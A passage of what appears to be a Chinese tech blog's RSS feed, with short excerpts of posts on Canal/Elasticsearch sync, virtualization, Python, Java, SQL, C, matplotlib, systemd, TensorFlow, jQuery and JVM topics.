的日志进行实现的，并且把这个项目开源——canal&#xA;canal地址：https://github.com/alibaba/canal&#xA;原理：&#xA;简单看了下代码，它里面是通过一个server和一个client来进行实现的，及server负责mysql的日志监听与收集，然后再传给client端，server与client端使用的netty进行数据的tcp通信，现在也有了kafka和rocketMQ作为通信渠道的版本。同时canal也有专门的可视化监控界面，方便进行查看，同时也有HA（hadoop集群）的实现方式，通过zookeeper来进行实现的。&#xA;使用：&#xA;想将数据从mysql同步到es通过canal的一个adapter就可以直接实现了&#xA;参考：https://github.com/alibaba/canal/tree/master/client-adapter&#xA;canal优点：&#xA;（1）canal实现数据的增量同步性能高，有可视化界面可监控&#xA;（2）看canal esAdapter的源码可知，canal esAdater中的etl方法对全量同步的功能也已经做了实现，可增量可全量同步了&#xA;1.5、MQ与logstash实现ES与数据库同步区别 Logstash实现ES与数据库同步：使用定时器方式 、实现简单&#xA;MQ实现ES与数据库同步：实时性、复杂性更高、一致性强&#xA;1.6、拼音分词器elasticsearch-analysis-pinyin 略&#xA;二、实战 2.1、商品服务搜索如何实现 商品服务搜索采用ElasticSearch实现&#xA;需要考虑什么问题？&#xA;（1）如何实现ES与mysql数据库同步&#xA;A、使用logstash 把mysql 同步到 elasticsearch</description>
    </item>
    <item>
      <title>Xen虚拟化简介以及其他虚拟化方案</title>
      <link>https://bchobby.github.io/posts/ff9f8e106b2dc63bee1212119bfe6135/</link>
      <pubDate>Tue, 11 Feb 2020 13:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff9f8e106b2dc63bee1212119bfe6135/</guid>
      <description>裸金属虚拟化（类型1）：直接运行在物理机节点硬件设备上，并且管理虚拟机操作系统&#xA;可托管虚拟化（类型2）：允许运行在普通的操作系统上&#xA;linux的KVM和Free BSD的BHyV是基于内核的虚拟化技术，将传统的操作系统转化为类似裸金属类型的管理程序。而linux发行版与Free BSD仍为通用操作系统，与其他应用一起竞争虚拟机操作系统可使用的资源。统上KVM和Free BSD的BHyVe为可托管虚拟化。&#xA;Xen是一门开源的裸金属虚拟化技术&#xA;特点：轻便小型（内核代码1MB左右），操作系统无关性，半虚拟化&#xA;驱动分离：允许主要的硬件设备驱动运行于虚拟机内部，当驱动crash（宕机）或报错时，包含该驱动的虚拟机可重启不影响其他虚拟机&#xA;架构&#xA;含虚拟化操作系统启动中，Boot Loader加载完成退出后，首先加载Xen程序，在其上运行虚拟机。运行的虚拟机为Domain或Guest，其中特殊Domain0包含了所有硬件设备的驱动，控制栈。&#xA;特点&#xA;类型：支持半虚拟化（PV）和全虚拟化（HVM）&#xA;Domain 0：含特殊的域Domain0，其包括硬件设备驱动和控制虚拟机的Toolstack&#xA;Toolstack：涵盖各种不同的Toolstack&#xA;注意：&#xA;1.Xen虚拟化管理程序是一个极小的软件程序，约为15w代码，本身无I/O功能虚拟化&#xA;2.Xen支持半虚拟化和全虚拟化，并且同一个虚拟机管理程序可同时使用两种虚拟化。虚拟机与硬件之间完全隔离，无权限访问底层硬件和IO，被称为DomainU&#xA;3.Domain0是一个特殊虚拟机，有权限直接访问底层的硬件设备，处理IO请求并与其他虚拟机DomainU交互通信&#xA;4.Toolstack，包含在Domain0中，叫控制栈。允许用户管理虚拟机&#xA;5.终端是Toolstack对外部开放的一个接口，命令行/图形化可控制界面。支持Openstack和CloudStack中的编排服务&#xA;6.Domain0要求一个支持Xen虚拟化管理程序的内核。半虚拟化的DomainU要有支持内核半虚拟化&#xA;全虚拟化模式+半虚拟化驱动（PVHVM）&#xA;全虚拟化模式下的虚拟机可以使用指定的半虚拟化驱动&#xA;半虚拟化+硬件扩展特性（PVH）&#xA;4.5以上版本可以使用。PVH要求虚拟机操作系统对其提供支持，在配置文件中设置pvh=1，即可使用&#xA;VMware 1.VMware Workstation是VMware公司销售的虚拟化软件，采用二进制翻译技术。&#xA;2.VMware ESX Server。ESX服务器是能直接在硬件上运行的企业级的虚拟平台，虚拟的SMP，能让一个虚拟机同时使用多个物理处理器。公司还提供一个虚拟中心来控制和管理虚拟化的IT环境：Vmotion&#xA;VirtualBox 1.是甲骨文公司xVM虚拟化平台技术的一部分。提供使用者在32or64为的Windows、Linux、Solaris操作系统上虚拟其他x86的操作系统。&#xA;2.VirtualBox既支持纯软件虚拟化，也支持Intel VT-x与AMD AMD-V硬件虚拟化技术。可以读写VMware VMDK格式和VIrtualPC VHD格式的虚拟磁盘文件。&#xA;Hyper-V 1.微软提出的一种系统管理程序虚拟化技术。借鉴Xen，采用微内核的架构，兼顾性能和安全性&#xA;2.Hyper-V底层的Hypervisor运行在最高级别特权下，称为ring -1，虚拟机的操作系统内核和驱动运行在ring 0 ，应用程序运行在ring 3.&#xA;3.Hyper-V采用基于VMbus的高速内存总线架构，来自虚拟机的硬件请求可以直接经过VSC，通过VMbus总线发送到根分区的VSP，VSP调用对应的设备驱动，直接访问硬件。中间不需要Hypervisor的帮助</description>
    </item>
    <item>
      <title>python-石头剪刀布</title>
      <link>https://bchobby.github.io/posts/e65b487b20052407a02b4bd37229fcb3/</link>
      <pubDate>Mon, 10 Feb 2020 23:08:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e65b487b20052407a02b4bd37229fcb3/</guid>
      <description>石头剪刀布（基础版） import random&#x9;# 导入random模块 option = [&#39;石头&#39;,&#39;剪刀&#39;,&#39;布&#39;]&#x9;# 获取电脑的选项 cpu = random.choice(option) player = int(input(&#34;请出拳：&#34;))&#x9;# 获取玩家的选项 print(&#34;你出： %s , 电脑出： %s &#34; % (player,cpu))&#x9;# 输出玩家和电脑的结果 #判定胜负 if player == &#34;石头&#34;:&#x9;# 玩家出石头的三种结果 elif cpu == &#34;石头&#34;: print(&#34;平局&#34;) elif cpu == &#34;剪刀&#34;: print(&#34;你赢了！！！&#34;) else: print(&#34;你输了= .=&#34;) if player == &#34;剪刀&#34;:&#x9;# 玩家出剪刀的三种结果 elif cpu == &#34;剪刀&#34;: print(&#34;平局&#34;) elif cpu == &#34;布&#34;: print(&#34;你赢了！！！&#34;) else: print(&#34;你输了= .=&#34;) if player == &#34;</description>
    </item>
    <item>
      <title>Java实现简单的回调</title>
      <link>https://bchobby.github.io/posts/86060f5898f710c7a5b01eb321f50c01/</link>
      <pubDate>Mon, 10 Feb 2020 17:15:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86060f5898f710c7a5b01eb321f50c01/</guid>
      <description>主函数&#xA;public class Test { public static void main(String[] args) { Deal deal=new Deal(15, new Result() { @Override public void msg(String re) { //接口拿到处理结果 System.out.println(re); } }); //开始处理 deal.judge(); } } 回调消息接口&#xA;public interface Result { void msg(String re); } 后台处理函数&#xA;public class Deal { Result re; int data; public Deal(int data,Result re) { this.re = re; this.data=data; } public void judge(){ for (int i = 0; i &amp;lt; data; i++) { System.</description>
    </item>
    <item>
      <title>Windows/Mac下如何自动清理回收站</title>
      <link>https://bchobby.github.io/posts/d0e6c97ce494493f2f2b813cf854c29e/</link>
      <pubDate>Mon, 10 Feb 2020 15:02:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0e6c97ce494493f2f2b813cf854c29e/</guid>
      <description>打开回收站，在空白处单机右键-属性，在自定义大小中，设置相应位置的文件大小。当文件夹内删除内容超出设定大小的时候，回收站将自动清理。&#xA;在 Mac 系统中，同样也能解决这样的问题，打开 访达finder - 左上角偏好设置 - 高级 - 勾选或取消勾选 30 天后，移除废纸篓的项目即可。如下图：</description>
    </item>
    <item>
      <title>百度网盘观看视频频繁出现“无法连接到网络，求连接后再试（重试）”应该怎么办？</title>
      <link>https://bchobby.github.io/posts/eec99eaa64ae7147cf0f19ad2be51370/</link>
      <pubDate>Sun, 09 Feb 2020 17:24:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eec99eaa64ae7147cf0f19ad2be51370/</guid>
      <description>百度网盘观看视频繁出现“无法连接到网络，求连接后再试（重试）”应该怎么办？ 图片描述 解决办法 1.win+r，键入cmd&#xA;2.键入：ping pan.baidu.com&#xA;3.关闭浏览器&#xA;4.重新打开浏览器进行百度网盘视频的播放</description>
    </item>
    <item>
      <title>hiveSQL基本语句三-----连接查询--inner join、left join、full join、union all、union</title>
      <link>https://bchobby.github.io/posts/d03dca25c67cdc2215667258ed85137e/</link>
      <pubDate>Sat, 08 Feb 2020 23:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d03dca25c67cdc2215667258ed85137e/</guid>
      <description>一、(inner) join 连接2个表，取出公共部分&#xA;必须重命名on后连接条件键值唯一连接前注意去重，提高效率inner可省略 select * from user_list_1 as a inner join user_list_2 as b on a.user_id=b.user_id; 三表连接&#xA;select a.user_name from (select distinct user_name from data1)as a inner join (select distinct user_name from data2) as b on a.user_name=b.user_name inner join (select distinct user_name from data3) as c on b.user_name=c.user_name; 二、left /right join left join：以左表为全集，返回能匹配上的匹配结果，没匹配上的显示NULL；&#xA;应用：取出表1中存在，表2中不存在的项&#xA;select * from user_list_1 a left join user_list_2 b on a.user_id=b.user_id; 三、full join全连接 并列将2个表的信息展示</description>
    </item>
    <item>
      <title>PTA|《C语言程序设计（第3版）》练习7-2 求最大值及其下标 (20分)</title>
      <link>https://bchobby.github.io/posts/81dcac485d9412b52cab5277c995fcce/</link>
      <pubDate>Sat, 08 Feb 2020 19:03:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81dcac485d9412b52cab5277c995fcce/</guid>
      <description> 题目 本题要求编写程序，找出给定的n个数中的最大值及其对应的最小下标（下标从0开始）。&#xA;输入格式:&#xA;输入在第一行中给出一个正整数n（1&amp;lt;n≤10）。第二行输入n个整数，用空格分开。&#xA;输出格式:&#xA;在一行中输出最大值及最大值的最小下标，中间用一个空格分开。&#xA;输入样例:&#xA;6 2 8 10 1 9 10 输出样例:&#xA;10 2 参考解答 #include&amp;lt;stdio.h&amp;gt; int main(){ int n,num[10],i,index; scanf(&#34;%d&#34;,&amp;amp;n); for(i=0;i&amp;lt;n;i++){ scanf(&#34;%d&#34;,&amp;amp;num[i]); } index=n-1; for(i=n-1;i&amp;gt;0;i--){ if(num[i-1]&amp;gt;=num[index])index=i-1; } printf(&#34;%d %d&#34;,num[index],index); return 0; } </description>
    </item>
    <item>
      <title>C中数据类型占用内存的大小</title>
      <link>https://bchobby.github.io/posts/8ed3074b6e980e4aa349de9d2a60711b/</link>
      <pubDate>Sat, 08 Feb 2020 13:03:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ed3074b6e980e4aa349de9d2a60711b/</guid>
      <description> 数据类型表示存储何种类型的数据，从内存来看，就是占用的内存大小。&#xA;C标准并未明确规定各数据类型占用多少字节的存储空间。&#xA;各数据类型的内存大小与操作系统位数、编译器有关，可以在代码中使用sizeof()进行查询。&#xA;常用规则 1、字符类型：char占用1个字节&#xA;表示的是字符对应的ASCII码&#xA;2、浮点类型：float占用4个字节，double占用8个字节&#xA;3、sizeof(long long) &amp;gt;= sizeof(long) &amp;gt;= sizeof(int) &amp;gt;= sizeof(short)&#xA;long long至少64位，long至少32位，short至少16位&#xA;int建议为一个机器字长（32位环境下为4字节，64位环境下为8字节）&#xA;4、默认情况下，short、int、long、long long都是带符号的，即signed&#xA;char可以表示signed char或unsigned char，具体表示哪种由编译器决定&#xA;参考表格（以实际为准） 操作系统位数\数据类型16位系统32位系统64位系统char(有符号或无符号，由编译器指定)1字节1字节1字节(signed/unsigned) char1字节1字节1字节(signed/unsigned) short2字节2字节2字节(signed/unsigned) int2字节4字节8字节(signed/unsigned) long4字节4字节8字节(signed/unsigned) long long8字节8字节8字节float4字节4字节4字节double8字节8字节8字节 </description>
    </item>
    <item>
      <title>plt.rcParams[]参数解释</title>
      <link>https://bchobby.github.io/posts/6f5ff2d5a47550dd641d9c74940b5ea6/</link>
      <pubDate>Thu, 06 Feb 2020 21:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f5ff2d5a47550dd641d9c74940b5ea6/</guid>
      <description>plt.rcParams[] pylot使用rc配置文件来自定义图形的各种默认属性，称之为rc配置或rc参数。通过rc参数可以修改默认的属性，包括窗体大小、每英寸的点数、线条宽度、颜色、样式、坐标轴、坐标和网络属性、文本、字体等。&#xA;rc参数存储在字典变量中，通过字典的方式进行访问，如下代码：&#xA;import numpy as np import matplotlib.pyplot as plt ###%matplotlib inline #jupyter可以用，这样就不用plt.show() #生成数据 x = np.linspace(0, 4*np.pi) y = np.sin(x) #设置rc参数显示中文标题 #设置字体为SimHei显示中文 plt.rcParams[&#39;font.sans-serif&#39;] = &#39;SimHei&#39; #设置正常显示字符 plt.rcParams[&#39;axes.unicode_minus&#39;] = False plt.title(&#39;sin曲线&#39;) #设置线条样式 plt.rcParams[&#39;lines.linestyle&#39;] = &#39;-.&#39; #设置线条宽度 plt.rcParams[&#39;lines.linewidth&#39;] = 3 #绘制sin曲线 plt.plot(x, y, label=&#39;$sin(x)$&#39;) plt.savefig(&#39;sin.png&#39;) plt.show() plt.rcParams[&#39;savefig.dpi&#39;] = 300 #图片像素 plt.rcParams[&#39;figure.dpi&#39;] = 300 #分辨率 plt.rcParams[&#39;figure.figsize&#39;] = (10, 10) # 图像显示大小 plt.rcParams[&#39;image.interpolation&#39;] = &#39;nearest&#39; # 最近邻差值: 像素为正方形 #Interpolation/resampling即插值，是一种图像处理方法，它可以为数码图像增加或减少象素的数目。 plt.rcParams[&#39;image.cmap&#39;] = &#39;gray&#39; # 使用灰度输出而不是彩色输出 plt.</description>
    </item>
    <item>
      <title>执行_search时报错</title>
      <link>https://bchobby.github.io/posts/52405303678808a2455527fb9782d86b/</link>
      <pubDate>Thu, 06 Feb 2020 19:29:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52405303678808a2455527fb9782d86b/</guid>
      <description>ES版本：7.3.2&#xA;1.在学习Elasticsearch的_search命令时报错，返回信息如下：&#xA;{ &#34;error&#34;: { &#34;root_cause&#34;: [ { &#34;type&#34;: &#34;parsing_exception&#34;, &#34;reason&#34;: &#34;Unknown key for a VALUE_STRING in [first_name].&#34;, &#34;line&#34;: 2, &#34;col&#34;: 14 } ], &#34;type&#34;: &#34;parsing_exception&#34;, &#34;reason&#34;: &#34;Unknown key for a VALUE_STRING in [first_name].&#34;, &#34;line&#34;: 2, &#34;col&#34;: 14 }, &#34;status&#34;: 400 } 2.解决方法：是因为我的请求body里包含了数据：&#xA;{ &#34;first_name&#34;:&#34;Douglas&#34;, &#34;last_name&#34;:&#34;Fir&#34;, &#34;age&#34;:35, &#34;about&#34;:&#34;I like to build cabinets&#34;, &#34;interests&#34;:[&#34;forestry&#34;] } 3.删除body内的内容，请求成功：</description>
    </item>
    <item>
      <title>AsyncHttpClient源码分析-基于Netty的连接池实现</title>
      <link>https://bchobby.github.io/posts/69fbf4f84aedcabeb7176e896ae16e80/</link>
      <pubDate>Thu, 06 Feb 2020 18:46:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69fbf4f84aedcabeb7176e896ae16e80/</guid>
      <description>https://my.oschina.net/meandme/blog/874477</description>
    </item>
    <item>
      <title>redis编译指定路径并带调试</title>
      <link>https://bchobby.github.io/posts/f94d8fa6a6fbb04cd1fd399d6bfe2d31/</link>
      <pubDate>Thu, 06 Feb 2020 12:14:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f94d8fa6a6fbb04cd1fd399d6bfe2d31/</guid>
      <description>make CFLAGS=&#34;-g -O0&#34; PREFIX=/usr/local/redis install</description>
    </item>
    <item>
      <title>认识系统服务（daemon）</title>
      <link>https://bchobby.github.io/posts/c42cb412b01126ba33bc3c24c58b33e9/</link>
      <pubDate>Wed, 05 Feb 2020 17:55:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c42cb412b01126ba33bc3c24c58b33e9/</guid>
      <description>对于不同Linux发行版本，与systemd的daemon运行过程相关的目录路径可能会不一样 对于centos7：&#xA;/usr/lib/systemd/system/： 使用 CentOS 官方提供的软件安装后，默认的启动脚本配置文件都放在这里，这里的数据尽量不要修&#xA;改～ 要修改时，请到 /etc/systemd/system 底下修改较佳！ /run/systemd/system/： 系统执行过程中所产生的服务脚本，这些脚本的优先序要比 /usr/lib/systemd/system/ 高！ /etc/systemd/system/： 管理员依据主机系统的需求所建立的执行脚本，其实这个目录有点像以前 /etc/rc.d/rc5.d/Sxx 之类的功&#xA;能！ 执行优先序又比 /run/systemd/system/ 高喔！ /etc/sysconfig/*： 几乎所有的服务都会将初始化的一些选项设定写入到这个目录下，举例来说，mandb 所要更新的 man page&#xA;索引中，需要加入的参数就写入到此目录下的 man-db 当中喔！而网络的设定则写在 /etc/sysconfig/network-scripts/ 这个目录&#xA;内。所以，这个目录内的文件也是挺重要的； /var/lib/： 一些会产生数据的服务都会将他的数据写入到 /var/lib/ 目录中。举例来说，数据库管理系统 Mariadb 的数 据库默认就&#xA;是写入 /var/lib/mysql/ 这个目录下啦！ /run/： 放置了好多 daemon 的暂存档，包括 lock file 以及 PID file 等等。 对于Ubuntu16.04：&#xA;/lib/systemd/system/ 大多数 unit 的配置文件都放在这个目录下。 （主要是这里与Centos不同）&#xA;注意，在我们自己创建 unit 配置文件时，既可以把配置文件放在 /lib/systemd/system/ 目录下，也可以放在 /etc/systemd/system/ 目录下。&#xA;/etc/default/ 这个目录中放置很多服务默认的配置文件。&#xA;其他相同。</description>
    </item>
    <item>
      <title>初步了解TensorFlow如何实现正则化</title>
      <link>https://bchobby.github.io/posts/3b46b2a79af1b2adb5584a701918ed6d/</link>
      <pubDate>Wed, 05 Feb 2020 17:13:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b46b2a79af1b2adb5584a701918ed6d/</guid>
      <description>为了避免过拟合问题，一个非常常用的方法是正则化（regularization），正则化的思想就是在损失函数中加入刻画模型复杂程度的指标。&#xA;假设用于刻画模型在训练数据上表现的损失函数为J(θ)，那么在优化时不是直接优化J(θ)，而是优化J(θ) + λR(w)，其中R(w)刻画的是模型的复杂程度，而λ表示模型复杂损失在总损失中的比例，需要注意的是，这里的θ表示的是一个神经网络中所有的参数，它包括边上的权重w和偏置项b，但一般来说模型复杂度只由权重w决定。&#xA;常用的刻画模型复杂度的函数R(w)有两种，一种是L1正则化，计算公式是：&#xA;另一种是L2正则化，计算公式是：&#xA;TensorFlow可以优化任意形式的损失函数，所以TensorFlow自然也可以优化带正则化的损失函数。&#xA;L1正则化和L2正则化，在TensorFlow中分别以不同的函数实现它们，以下列代码为示例：&#xA;#含有L1正则化的损失函数： loss = tf.reduce_mean(tf.square(y_ - y)) + tf.contrib.layers.l1_regularizer(λ)(w) #含有L2正则化的损失函数： loss = tf.reduce_mean(tf.square(y_ - y)) + tf.contrib.layers.l2_regularizer(λ)(w) loss为定义的损失函数，它由两个部分组成，第一个部分是均方误差损失函数，它刻画了模型在训练数据上的表现，第二个部分就是正则化，它防止模型过度模拟训练数据中的随机噪音；&#xA;λ表示了正则化项的权重，w为需要计算正则化损失的参数。&#xA;TensorFlow提供了tf.contrib.layers.l1_regularizer函数和tf.contrib.layers.l2_regularizer函数用来计算L1正则化和L2正则化，通过以下代码给出使用两个函数的样例：&#xA;import tensorflow as tf weights = tf.constant([[1.0, -2.0], [-3.0, 4.0]]) with tf.Session() as sess: #计算结果为5.0 print(sess.run(tf.contrib.layers.l1_regularizer(0.5)(weights))) #计算结果为15 * 1/2 = 7.5，L2正则化乘以1/2可以方便求导 print(sess.run(tf.contrib.layers.l2_regularizer(0.5)(weights))) 在简单的神经网络中，这样的方式就可以很好地计算带正则化的损失函数了，但当神经网络的参数增多之后，这样的方式首先可能导致损失函数loss的定义很长，可读性差且容易出错，更主要的是，当网络结构复杂之后定义网络结构的部分和计算损失函数的部分可能不在同一个函数中，这样通过变量这种方式计算损失函数就不方便了。&#xA;为了解决这个问题，可以使用TensorFlow中提供的集合（collection）来维护需要计算的正则化损失，以下列代码为示例给出通过集合计算一个5层神经网络带L2正则化的损失函数的计算方法：&#xA;import tensorflow as tf #获取一层神经网络边上的权重，并将这个权重的L2正则化损失加入名称为losses的集合中 def get_weight(shape, r): #生成一个变量 var = tf.Variable(tf.random_normal(shape, stddev=1, seed=1), dtype=tf.float32) &#39;&#39;&#39;add_to_collection函数将这个新生成变量的L2正则化损失项加入集合 这个函数的第一个参数losses是集合的名字，第二个参数是要加入这个集合的内容&#39;&#39;&#39; tf.add_to_collection(&#39;losses&#39;, tf.</description>
    </item>
    <item>
      <title>QT 和Ogre Demo</title>
      <link>https://bchobby.github.io/posts/834bcd64c55ad16a0b29aede4101f295/</link>
      <pubDate>Wed, 05 Feb 2020 13:52:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/834bcd64c55ad16a0b29aede4101f295/</guid>
      <description>QT 和Ogre Demo&#xA;ogre的编译请参考链接https://blog.csdn.net/DdogYuan/article/details/79559667 或自行解决, 我用的vs2015 ,生成后将dll和头文件加入到QT的工程中即可（注意必须对应）&#xA;ogre自带的de&#39;mo&#xA;参考链接:&#xA;http://wiki.ogre3d.org/Home&#xA;https://ogrecave.github.io/ogre/api/latest/tut__first_scene.html&#xA;该Demo使用的版本是ogre1.10.12 (32位) , Qt5.10.0 MSVC2015 32bit Release QT Creator 编译生成的&#xA;例程，完整ogre编译和使用步骤，&#xA;完整源码工程下载地址&#xA;https://download.csdn.net/download/gws09876/12136896&#xA;附qt ogreCamera操作类的代码，理解请看代码&#xA;#ifndef __SdkQtCameraMan_H__ #define __SdkQtCameraMan_H__ #include &#34;OgreCamera.h&#34; #include &#34;OgreSceneNode.h&#34; #include &#34;OgreFrameListener.h&#34; #include &amp;lt;QKeyEvent&amp;gt; #include &amp;lt;QMouseEvent&amp;gt; #include &amp;lt;QDebug&amp;gt; // enum CameraStyle should be in other namespace than OgreBites::CameraStyle namespace OgreQtBites { enum CameraStyle // enumerator values for different styles of camera movement { CS_FREELOOK, CS_ORBIT, CS_MANUAL }; /*============================================================================= | Utility class for controlling the camera in samples.</description>
    </item>
    <item>
      <title>Jupyter-notebook隐藏代码（转载）</title>
      <link>https://bchobby.github.io/posts/b73830735eae15e005f78ff6bb54902a/</link>
      <pubDate>Tue, 04 Feb 2020 22:19:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b73830735eae15e005f78ff6bb54902a/</guid>
      <description>有时候我们需要将jupyter-notebook导出为一个报告或者presentation的形式，不需要显示代码过程，只需要显示结果以及用markdown做的解释说明。有几种方式可以实现这个功能。我把下面的代码写成了函数集成在我的sciplot库里面了。载请注明出处。&#xA;隐藏/显示代码按钮 在随便一个cell中加入以下代码并运行就可以得到一个按钮，点击它就可以实现隐藏和显示代码。在notebook中对所有代码起作用；但是对导出结果中只对hide所在cell起作用。&#xA;import ipywidgets as widgets from IPython.display import display, HTML javascript_functions = {False: &#34;hide()&#34;, True: &#34;show()&#34;} button_descriptions = {False: &#34;Show code&#34;, True: &#34;Hide code&#34;} def toggle_code(state): output_string = &#34;&amp;lt;script&amp;gt;$(\&#34;div.input\&#34;).{}&amp;lt;/script&amp;gt;&#34; output_args = (javascript_functions[state],) output = output_string.format(*output_args) display(HTML(output)) def button_action(value): state = value.new toggle_code(state) value.owner.description = button_descriptions[state] state = False toggle_code(state) button = widgets.ToggleButton(state, description = button_descriptions[state]) button.observe(button_action, &#34;value&#34;) display(button) 直接隐藏代码 同样在其中一个cell（建议放在最开始的一个cell中）中输入一下代码，这个在你自己编辑notebook时不起作用，对导出结果中所有代码起作用：导出html或者pdf中是没有代码的。同样把它定义为函数集成在sciplot里面方便调用。&#xA;from IPython.display import display from IPython.display import HTML import IPython.</description>
    </item>
    <item>
      <title>jquery之each方法</title>
      <link>https://bchobby.github.io/posts/13830ebd7f01e8da96c6540de2f78351/</link>
      <pubDate>Tue, 04 Feb 2020 22:14:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13830ebd7f01e8da96c6540de2f78351/</guid>
      <description>jQuery.each()函数用于遍历指定的对象和数组，并以对象的每个属性(或数组的每个成员)作为上下文来遍历执行指定的函数。&#xA;所谓的上下文，意即该函数内部的this指针引用了该元素。&#xA;该函数属于全局jQuery对象。请注意，这与jQuery对象(实例)的each()函数不同。&#xA;语法 静态函数jQuery.each()的语法如下：&#xA;JavaScript:&#xA;jQuery.each( object, callback ) 参数 参数描述objectObject类型指定需要遍历的对象或数组。callbackFunction类型指定的用于循环执行的函数。 参数object可以是对象或数组。如果是对象，则遍历该对象的每个属性；如果是数组，则遍历该数组中的每个元素。 jQuery.each()函数将根据每个成员(对象的属性或数组的元素)循环调用函数callback。每次调用函数callback时，jQuery.each()函数都会将callback函数内部的this引用指向当前正在迭代的成员，并为其传入两个参数。第一个参数是当前迭代成员在对象或数组中的索引值(从0开始计数)，第二个参数是当前迭代成员(与this的引用相同)。 jQuery.each()的使用：&#xA;$.each()是对数组，json和dom结构等的遍历，说一下他的使用方法吧。&#xA;1、遍历一维数组&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;jq之each方法&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;jquery-2.0.3.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;script&amp;gt; //遍历一维数组 var arr1 = [&#39;aa&#39;,&#39;bb&#39;,&#39;cc&#39;,&#39;dd&#39;]; $.each(arr1,function(i,value){ //两个参数，第一个参数表示遍历的数组的下标，第二个参数表示下标对应的值 console.log(i+&#39;...&#39;+value); }); &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 结果：&#xA;2、遍历二维数组 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;jq之each方法&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;jquery-2.0.3.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;script&amp;gt; //遍历二维数组 var arr2 = [[&#39;aa&#39;,&#39;bb&#39;],[&#39;cc&#39;,&#39;dd&#39;],[&#39;ee&#39;,&#39;ff&#39;]]; $.each(arr2,function(i,item){ //两个参数，第一个参数表示下标，第二个参数表示一维数组中的每一个数组 console.log(i+&#39;...&#39;+ item); }); &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 结果：</description>
    </item>
    <item>
      <title>深入理解java虚拟机第三版第一章</title>
      <link>https://bchobby.github.io/posts/99de326196ba7ef820056183bcaec79e/</link>
      <pubDate>Tue, 04 Feb 2020 13:36:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99de326196ba7ef820056183bcaec79e/</guid>
      <description>深入理解java虚拟机这本书本书是以OpenJDK/OracleJDK中的HotSpot虚拟机为主脉络进行讲述&#xA;java杂谈 一般以javax.*作为包名，而以java.*为包名的包都是Java SE API的核心包，javaEE的扩展由于历史原因，一部分曾经是扩展包的API后来进入了核心包中，因此核心包中也包含了不少javax.*开头的包名。Sun公司发布了JDK 1.1，Java里许多最基础的技术支撑点（如JDBC等）都是在 JDK 1.1版本中提出它但诞生于名为“Longview Techno-logies”的小公司，后被sun公司收购成为jdk1.3的主流虚拟机2004年9月30日，JDK 5发布，工程代号为Tiger（老虎）。Sun公司从这个版本开始放弃了谦逊 的“JDK 1.x”的命名方式，将产品版本号修改成了“JDK x而JDK 5在Java语法易用性上做出了非常大的改进。如：自动装箱、泛型、动态注解、枚 举、可变长参数、遍历循环（foreach循环）等语法特性都是在JDK 5中加入的。在虚拟机和API层面上，这个版本改进了Java的内存模型（Java Memory Model，JMM）、提供了java.util.concurrent并发包 等。另外，JDK 5是官方声明可以支持Windows 9x操作系统的最后一个JDK版本。。JDK 6的改进包括：提供初步的动态语言支持（通过内置Mozilla JavaScript Rhino引擎实现）、提供编译期注解处理器和微型HTTP服务器API，等等。同时，这个版本对Java虚拟 机内部做了大量改进，包括锁与同步、垃圾收集、类加载等方面的实现都有相当多的改动。JDK 7包含的改进有：提供新的G1收 集器（G1在发布时依然处于Experimental状态，直至2012年4月的Update 4中才正式商用）、加强对非 Java语言的调用支持（JSR-292，这项特性在到JDK 11还有改动）、可并行的类加载架构等。JDK 8包含的改进有：对Lambda表达式的支持，这让Java语言拥有了流畅的函数式表达能力，内置Nashorn JavaScript引擎的支持. ·新的时间,日期API，彻底移除HotSpot的永久代有LTS版的JDK能够获得为期三年的支持和更新，普通版的 JDK就只有短短六个月的生命周期。JDK 8和JDK 11会是LTS版，再下一个就到2021年发布的JDK 17 了Oracle正式 宣告Java EE成为历史名词。虽然Java SE、Java EE和Java ME三条产品线里确实只有Java SE称得上成 功，但Java EE毕竟无比辉煌过，现在其中还持有着JDBC、JMS、Servlet等使用极为广泛的基础组件， 然而Oracle仍选择把它“扫地出门”，所有权直接赠送给Eclipse基金会，唯一的条件是以后不准再使 用“Java”这个商标[14]，所以取而代之的将是Jakarta EE。 虚拟机 这块内容主要讲了hotspot发展史和其他虚拟机的介绍和历史&#xA;最后提到了 Graal vm无语言倾向虚拟机概念，他是在hotspot基础上的增强，可以运行任何语言&#xA;编译虚拟机 系统环境：ubuntu16.04&#xA;jdk9源码地址：http://hg.openjdk.java.net/jdk9&#xA;译JDK需要指定一个Bootstrap JDK，因为OpenJDK的各个组成部分有的是用C++编写的，更多的代码则是使用Java自身实现的。所以需要去JDK官网下载一份JDK，编译jdk9要下载jdk8或9，编译jdk8要下载jdk8或7以此类推&#xA;jdk8的gz压缩包：链接：https://pan.baidu.com/s/1HxOwgXXeAx63AhoV7zTs9w 